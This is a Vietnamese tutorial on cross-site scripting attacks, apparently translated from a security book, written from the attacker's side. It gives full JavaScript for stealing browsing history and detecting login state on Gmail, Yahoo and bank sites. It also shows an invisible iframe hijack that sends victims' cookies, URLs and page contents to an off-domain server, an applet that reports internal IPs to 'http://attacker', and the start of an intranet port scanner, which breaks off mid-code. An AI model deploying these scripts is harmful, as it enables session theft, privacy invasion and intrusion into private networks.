XSS tấn công và phòng thủ: Các phương pháp tấn công XSS
Tấn công XSS (cross-site scripting) thường được coi là lành tính, hoặc người ta thường ít nghĩ đến những hiểm họa tiềm tàng của chúng. Ví dụ, phần lớn mọi người cho rằng các chương trình mã độc Javascript có thể ăn cắp cookies hoặc chuyển hướng một người tới một trang Web khác. Tuy nhiên, những ...
Tấn công XSS (cross-site scripting) thường được coi là lành tính, hoặc người ta thường ít nghĩ đến những hiểm họa tiềm tàng của chúng. Ví dụ, phần lớn mọi người cho rằng các chương trình mã độc Javascript có thể ăn cắp cookies hoặc chuyển hướng một người tới một trang Web khác. Tuy nhiên, những tấn công đơn giản đó, mặc dù rất hữu ích, nhưng chúng chỉ làm trên phần giao diện như một người có thể làm một khi họ được phép chạy Jvascript trên trình duyệt. Trong phần này, tôi sẽ giới thiệu những hiểm họa lớn hơn từ những lỗi đơn giản trên trang Web mà những kẻ tấn công có thể lợi dụng, từ ăn cắp lịch sử trình duyệt, tới những điều rất khủng khiếp và mã độc Javascript có thể làm được.
Ăn cắp lịch sử duyệt Web
Khi một hacker thực hiện các cuộc tấn công, những hiểu biết của về người dùng, ví dụ như thói quen của họ sẽ giúp ích rất nhiều. Thay vì tìm kiếm một cách rộng rãi, kẻ tấn công có thể nhắm đến những khu vực có những lỗ hổng và khi đó thành công sẽ dễ dàng hơn. Sử dụng một vài thủ thuật Javascript/CSS, rất đơn giản để khám phá những trang Web nào nận nhận đã từng ghé thăm, quyết định liệu họ có đăng nhập và những dữ liệu từ lịch sử tìm kiếm của họ. Với những thông tin này, một kẻ tấn công có thể thực hiện việc chuyển tiền qua tài khoản, phát tấn sâu Web, hoặc gửi thư spam trên trang Web nơi mà nạn nhân đã từng đăng nhập gần đây.
JavaScript/CSS API getComputedStyle
Tấn công lịch sử bằng Javascript/CSS là một phương pháp brute-force có hiệu qủa cao để tìm ra nơi nạn nhân đã từng ghé thăm. Trung bình, một người dùng Web truy cập hàng chụ trang Web trong một ngày. Điều đầu tiên mà một kẻ tấn công sẽ làm là thu thập một danh sách các trang Web mà người dùng truy cập thường xuyên. Danh sách các trang Web phổ biến trên thế giới ví dụ như bảng xếp hạng Alexa là một nguồn tài nguyên rất quý giá giúp quá trình xử lý dễ dàng hơn. Tìm kiếm một vài trang Web online banking hay các cổng thanh toán phổ biến, kẻ tấn công có một danh sách hoàn thiện để tập trung vào.
Kỹ thuật này tận dụng DOM (Document Object Model) cách sử dụng các màu sắc khau nhau để hiển thị các trang đã từng truy cập. Bằng cách tạo ra các liên kết động, kẻ tấn công có thể kiểm tra thuộc tính getComputedStyle trong Javascript để trích xuất thông tin lịch sử duyệt Web. Đây là một xử lý đơn giản. Nếu liên kết chỉ có 1 màu, ví dụ màu xanh, nạn nhân chưa từng truy cập trang Web. Nếu nó có màu tím, nó đã từng được truy cập.
Code cho Firefox (có thể chạy được bởi các trình duyệt khác)
<html> <body> <H3>Visited</H3> <ul id="visited"></ul> <H3>Not Visited</H3> <ul id="notvisited"></ul> <script> /* A short list of websites to loop through checking to see if the victim has been there. Without noticeable performance overhead, testing couple of a couple thousand URL's is possible within a few seconds. */ var websites = [ "http://ha.ckers.org", "http://jeremiahgrossman.blogspot.com/", "http://mail.google.com/", "http://mail.yahoo.com/", "http://www.e-gold.com/", "http://www.amazon.com/", "http://www.bankofamerica.com/", "http://www.whitehatsec.com/", "http://www.bofa.com/", "http://www.citibank.com/", "http://www.paypal.com/", ]; /* Loop through each URL */ for (var i = 0; i < websites.length; i++) { /* create the new anchor tag with the appropriate URL information */ var link = document.createElement("a"); link.id = "id" + i; link.href = websites[i]; link.innerHTML = websites[i]; /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */ document.write('<style>'); document.write('#id' + i + ":visited {color: #FF0000;}"); document.write('</style>'); /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */ document.body.appendChild(link); var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color"); document.body.removeChild(link); /* check to see if the link has been visited if the computed color is red */ if (color == "rgb(255, 0, 0)") { // visited /* add the link to the visited list */ var item = document.createElement('li'); item.appendChild(link); document.getElementById('visited').appendChild(item); } else { // not visited /* add the link to the not visited list */ var item = document.createElement('li'); item.appendChild(link); document.getElementById('notvisited').appendChild(item); } // end visited color check if } // end URL loop </script> </body> </html>
Kết qủa của đoạn code trên được minh họa trong hình dưới đây
Ăn cắp truy vấn máy tìm kiếm
SPI Dynamics chứng tỏ rằng những kẻ tấn công có thể xây dựng hack Javascirpt/CSS để phát hiện ra các tìm kiếm khác nhau mà nạn nhân đã từng sử dụng. Nó có thể giúp ích nếu biết rằng nạn nhân đã từng tìm kiếm "MySpace" hoặc tương tự thế.
Tấn công này làm việc bằng cách tạo ra các từ khóa tìm kiếm được gợi ý, các URL được tạo ra bởi các máy tìm kiếm phổ biến. Ví dụ nếu bạn tìm kiếm "XSS Exploit" thanh địa chỉ của trình duyệt sẽ hiển thị giống như hình dưới.
URL của truy vấn tìm kiếm rất đơn giản để có thể tạo ra hàng nghìn loại. Kết hợp điều đó với hack lịch sử Javascript/CSS ở phần trên, lịch sử truy vấn tìm kiếm sẽ được mở ra. Thực ra, kẻ tấn công có thể tạo ra một danh sách rất dài các liên kết trên DOM, có thể nhìn thấy hoặc ẩn đi, và kiểm tra màu của liên kết giống như phương pháp trên. Nếu liên kết màu xanh, nạn nhân đã từng tìm kiếm, nếu nó màu tím, nó chưa từng được tìm kiếm trước đây. Kết quả của phương pháp này có thể rất rời rạc, nhưng nó không tốn của kẻ tấn công bất cứ điều gì, vì thế đây là một thủ tục có giá trị. SPI Dynamics cài đặt một ví dụ online để demo kỹ thuật này.
Check lỗi đăng nhập trên console Javascript
Mọi người thường xuyên và liên tục đăng nhập vào các trang Web phổ biến. Hiểu biết về các trang Web này có thể vô cùng hữu ích để nâng cao hiệu quả của các cuộc tấn công CSRF hoặc XSS cũng như các hành động thu thập thông tin trái phép khác. Kỹ thuật sử dụng một phương pháp tương tự phương pháp port scan bằng Javascript bằng cách nối các thông báo lỗi từ console Javascript. Rất nhiều trang Web yêu cầu đăng nhập trả về kết quả HTML rất khác nhau với cùng URL khi bạn đăng nhập hay không. Ví dụ, trang Web quản lý tài khoản chỉ có thể truy cập nếu bạn đăng nhập. Nếu URL được tải lên tự động trong thẻ <script src=, nó có thể gây cho console Javascript lỗi khác nhau bởi vì trả lời truy vấn này là HTML, không phải là Javascript. Loại lỗi và số dòng có thể được liên kết với nhau. Hình dưới đây minh họa cho kỹ thuật này.
Sử dụng Gmail làm ví dụ, <script src=” http://mail.google.com/mail/”>
Hình trên hiển thị hình chụp màn hình console Javascript khi truy vấn được tạo trong trường hợp này là bởi một người dùng đã đăng nhập. Chú ý tới thông báo lỗi và số dòng trong hình dưới khi truy vấn được tạo bởi người dùng chưa đăng nhập. Kẻ tấn công có thể dễ dàng tiền hành trước nghiên cứu này khi lên kế hoạch nhắm tới các mục tiêu cao hơn và các cuộc tấn công lớn hơn. Ngoài ra còn 1 yếu tố nữa là điều này rất hữu ích cho những người đang hồ sơ bổ sung cho các cơ hội marketing.
Nhận xét trong đoạn mã dưới đây, được thiết kế để hoạt động với Mozilla Firefox (tương tự với code của các trình duyệt khác), miêu tả cụ thể cách kỹ thuật này làm việc. Ở trình độ cao hơn, một URL bất kỳ từ một trang Web phổ biến được lựa chọn bởi vì chúng trả lời 2 nội dung Web khác nhau tùy thuộc vào người dùng đã đăng nhập hay chưa. Các URL này được đặt vào trong script src của đối tượng DOM với mục đích làm console Javascript thông báo lỗi nơi mà chúng có thể bị bắt vào phân tích. Giống như một chữ ký, tùy thuộc vào thông báo lỗi trên console Javascript, và số dòng, có thể xác đinh được người dùng đã đăng nhập hay chưa.
Đoạn code sau minh họa cách làm của phương pháp này. Các comment sẽ giải thích rõ hơn về qúa trình thực hiện.
<html> <head> <title>JavaScript WebSite Login Checker</title> <script> <!-- /* Capture JavaScript console error messages and pass the err function for processing*/ window.onerror = err; /* These are the login/logout signatures for each specific website to be tested. Each signature has a specific URL which returns different content depending on if the user is logged-in or not. Each record will also include the error message and line number expected for each scenario to make the decision. */ var sites = { 'http://mail.yahoo.com/' : { 'name' : 'Yahoo Mail (Beta)', 'login_msg' : 'missing } in XML expression', 'login_line' : '12', 'logout_msg' : 'syntax error', 'logout_line' : '7', }, 'http://mail.google.com/mail/' : { 'name' : 'Gmail', 'login_msg' : 'XML tag name mismatch', 'login_line' : '8', 'logout_msg' : 'invalid XML attribute value', 'logout_line' : '3', }, 'http://profileedit.myspace.com/index.cfm?fuseaction=profile.interests' : { 'name' : 'MySpace', 'login_msg' : 'missing } in XML expression', 'login_line' : '21', 'logout_msg' : 'syntax error', 'logout_line' : '82', }, 'http://beta.blogger.com/adsense-preview.g?blogID=13756280' : { 'name' : 'Blogger (Beta)', 'login_msg' : 'XML tag name mismatch', 'login_line' : '8', 'logout_msg' : 'syntax error', 'logout_line' : '1', }, 'http://www.flickr.com/account' : { 'name' : 'Flickr', 'login_msg' : 'syntax error', 'login_line' : '1', 'logout_msg' : 'syntax error', 'logout_line' : '7', }, 'http://www.hotmail.com/' : { 'name' : 'Hotmail', 'login_msg' : 'missing } in XML expression', 'login_line' : '1', 'logout_msg' : 'syntax error', 'logout_line' : '3', }, 'http://my.msn.com/' : { 'name' : 'My MSN', 'login_msg' : 'missing } in XML expression', 'login_line' : '1', 'logout_msg' : 'syntax error', 'logout_line' : '3', }, 'http://searchappsecurity.techtarget.com/login/' : { 'name' : 'SearchAppSecurity Techtarget', 'login_msg' : 'syntax error', 'login_line' : '16', 'logout_msg' : 'syntax error', 'logout_line' : '3', }, 'https://www.google.com/accounts/ManageAccount' : { 'name' : 'Google', 'login_msg' : 'XML tag name mismatch', 'login_line' : '91', 'logout_msg' : 'missing = in XML attribute', 'logout_line' : '35', }, }; /* this method adds the results to the interface */ function addRow(loc) { var table = document.getElementById('results'); var tr = document.createElement('tr'); table.appendChild(tr); var td1 = document.createElement('td'); td1.innerHTML = sites[loc].name; tr.appendChild(td1); var td2 = document.createElement('td'); td2.awidth = 200; td2.setAttribute('id', sites[loc].name); td2.innerHTML = ' '; tr.appendChild(td2); var td3 = document.createElement('td'); tr.appendChild(td3); var button = document.createElement('input'); button.type = "button"; button.value = "Check"; button.setAttribute("OnClick", 'check("' + loc + '");'); td3.appendChild(button); } /* When executed, this function received a URL for testing and creates a script tag src to that URL. JavaScript errors generated with be passed to the err function */ function check(loc) { var script = document.createElement('script'); script.setAttribute('src', loc); document.body.appendChild(script); } /* This function recieves all JavaScript console error messages. These error messages are used to signature match for login */ function err(msg, loc, line) { /* results block */ var res = document.getElementById(sites[loc].name); /* check to see if the current test URL matches the signature error message and line number */ if ((msg == sites[loc].login_msg) && (line == sites[loc].login_line)) { res.innerHTML = "Logged-in"; } else if ((msg == sites[loc].logout_msg) && (line == sites[loc].logout_line)) { res.innerHTML = "Not Logged-in"; } else { res.innerHTML = "Not Logged-in"; } window.stop(); } // end err subroutine // --> </script> </head> <body> <div align="center"> <h1>JavaScript WebSite Login Checker</h1> <table id="results" border="1" cellpadding="3" cellspacing="0"></table> <script> for (var i in sites) { addRow(i); } </script> </div> </body> </html>
Tấn công mạng Intranet
Phần lớn mọi người tin tưởng rằng, khi lướt Web, họ được bảo vệ bởi tường lửa hay các hệ thống biệt lập biên dịch địa chỉ IP (Internet Protocol) - NAT. Với những tin tưởng trên, chúng ta thường sử dụng bảo mật được thiết lập trên các trang Web intranet hay giao diện Web của bộ định tuyến, tường lửa, modem, ... Ngay cả khi chúng có những lỗ hổng bảo mật chưa được vá, chúng vẫn rất an toàn trong vùng được bảo vệ. Không gì có khả năng kết nối với chúng từ bên ngoài. Điều này có đúng không? Câu trả lời là không. Trình duyệt Web hoàn toàn có khả năng được điều khiển bởi bất cứ trang Web nào, cho phép chúng có thể thực hiện tấn công vào các tài nguyên trong mạng nội bộ. Trình duyệt Web của tất cả người dùng trong doanh nghiệp trở thành bàn đạp cho những kẻ xâm nhập. Bây giờ hãy tưởng tượng rằng bạn truy cập tới một trang Web có chứa mã độc Javascript mà khi chạy nó sẽ tự động cấu hình lại mạng máy tính trong công ty bạn cũng như các tưởng lửa từ bên trong, mở ra mạng nội bộ của công ty cho cả thế giới. Hình dưới đây minh họa quá trình thực hiện việc này
Quá trình khai thác
- Một nạn nhân truy cập một trang Web chứa mã độc Javascript và sau đó trang Web điều khiển trình duyệt này.
- Mã độc Javascript tải một applet Java tiết lộ địa chỉ IP NAT trong mang nội bộ của nạn nhân.
- Sau đó, sử dụng trình duyệt của nạn nhân như một nền tảng để tấn công, các phần mềm độc hại Javascript xác định và theo dấu máy chủ của mạng nội bộ.
- Những tấn công được thiết lập chống lại các trang Web nội bộ hay bên ngoài, và thông tin đánh cắp được được gửi qua mạng, được thu thập nhằm nhiều mục đích khác nhau.
Điều khiển duy trì
Javascript có một khả năng rất lớn trong việc điều khiển thông qua trình Duyệt và các môi trường công khai khác, ngay cả trong trường hợp có sự hiện diện của chính sách cùng nguồn (same-origin) và các thiết đặt của Internet Explorer (IE). Javascript có thể truy cập cookies, nhận các phím được bấm, theo dõi trang Web được truy cập. Điều đầu tiên chúng ta cần làm là cài đặt một phương pháp để duy trì việc điều khiển thông qua trình duyệt, ngay cả khi người dùng click vào các link khác.
var iframe = document.createElement("iframe"); iframe.setAttribute("src", "/"); iframe.setAttribute("id", 'watched'); iframe.setAttribute("scrolling", "no"); iframe.setAttribute("frameBorder", "0"); iframe.setAttribute("OnLoad", "readViewPort()"); iframe.setAttribute("OnUnLoad", ""); iframe.style.border='0px'; iframe.style.left='0px'; iframe.style.top='0px'; iframe.style.awidth=(window.innerWidth - 20) + 'px'; iframe.style.height='2000px'; iframe.style.position='absolute'; iframe.style.visibility='visible'; iframe.style.zIndex='100000'; document.body.innerHTML = '; document.body.appendChild(iframe);
Để đạt được việc điều khiển ở trình độ này, đoạn mã trên tạo ra một iframe toàn màn hình trong suốt (không thể nhìn thấy). Bằng cách này, khi người dùng click, chỉ có URL của iframe thay đổi và tiểu trình điều khiển bởi mã độc Javascript là được duy trì. Hạn chế duy nhất của phương pháp này là URL trên thanh địa chỉ không thay đổi mỗi khi click, điều này có thể gây chú ý cho người dùng. Với mỗi click bên trong iframe, phương thức readViewPort() được gọi, nó sẽ bắt các dữ liệu và gửi chúng.
/* Read data in the view port */ function readViewPort() { /* save object for the users monitored viewport */ var watched = document.getElementById(iframe_name); /* Check if the users view port url has changed If it has, a new session needs to be created and/or the data needs to be transfered. */ if (current_url != watched.contentWindow.location.href) { /* save the current url of the users viewport */ current_url = watched.contentWindow.location.href; /* save the current url of the users viewport */ /* data is base64 encoded to make it easier to transfer inside URL's */ var b64_url = base64_encode(current_url); /* save the current cookies of the users viewport */ var b64_cookies = base64_encode(document.cookie); /* Create a new session and transfer the current data off-doamin */ var img = new Image(); img.src = off_domain + 'session/' + sessionid + "/" + b64_url + "/" + b64_ua + "/" + b64_cookies; /* Send the HTML data off-domain */ sendDataOffDomain(watched.contentWindow.document.body.parentNode.innerHTML); } else { // URL has not changed. Poll the server var script_tag = document.createElement("script"); script_tag.setAttribute("src", off_domain + "poll/" + sessionid); document.body.appendChild(script_tag); } /* Loop the function and set a timeout for polling */ setTimeout("readViewPort(sessionid);",5000); return; } // end readViewPort
Thu thập thông tin địa chỉ IP đã bị NAT
Bước tiếp theo trong quá trình khai thác mạng intranet là nhận địa chỉ IP đã bị NAT của người dùng. Đề làm được điều này, chúng là cần gọi một applet Java đặc biệt có tính năng này. Một trong số chúng là MyAddress được phát triển bởi Lars Kindermann, bởi vì nó hoạt động tốt, rất dễ sử dụng, và gửi địa chỉ IP tới nơi mà Javascript có thể truy cập được. Đoạn code sau tải MyAddress.class và sau đó mở URL http://attacker/demo.html?IP=XXXX và dữ liệu này có thể được truy cập từ xa.
<APPLET CODE="MyAddress.class"> <PARAM NAME="URL" VALUE="http://attacker/demo.html?IP="> </APPLET>
Quét các cổng
Với địa chỉ IP trong mạng nội bộ được trình duyệt Web tìm được, chúng ta có thể quét máy chủ Web trong mạng đó. Nếu trong một vài trường hợp vì lý do nào đó địa chỉ IP không thể nhận được, chúng ta hoàn toàn có thể đoán được địa chỉ IP này (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), nhưng xử lý sẽ không hiệu quả bằng. Tiếp tục với các ví dụ ở phần trên, chúng ta sẽ sử dụng địa chỉ 192.168.0.100 như là địa chỉ IP nội bộ của trình duyệt Web. Giả thiết rằng chúng ta muốn quét mang lớp C 192.168.0.0-255 với cổng 80 sử dụng mã ngườn trong ví dụ sau. Máy chủ Web sử dụng SSL (Secure Sockets Layer) có thể được quét bằng cách tương tự sử dụng cổng 443.
/* Event Capturing */ window.onerror = err; /* launch the Intranet scan */ scanWebServers(internal_ip); /* scan the Intranet */ function scanWebServers(ip) { /* strip the last octet off the Intranet IP */ var net = ip.substring(0, ip.lastIndexOf('.') + 1); /* Start from 0 and end on 255 for the last octet */ var start = 0; var end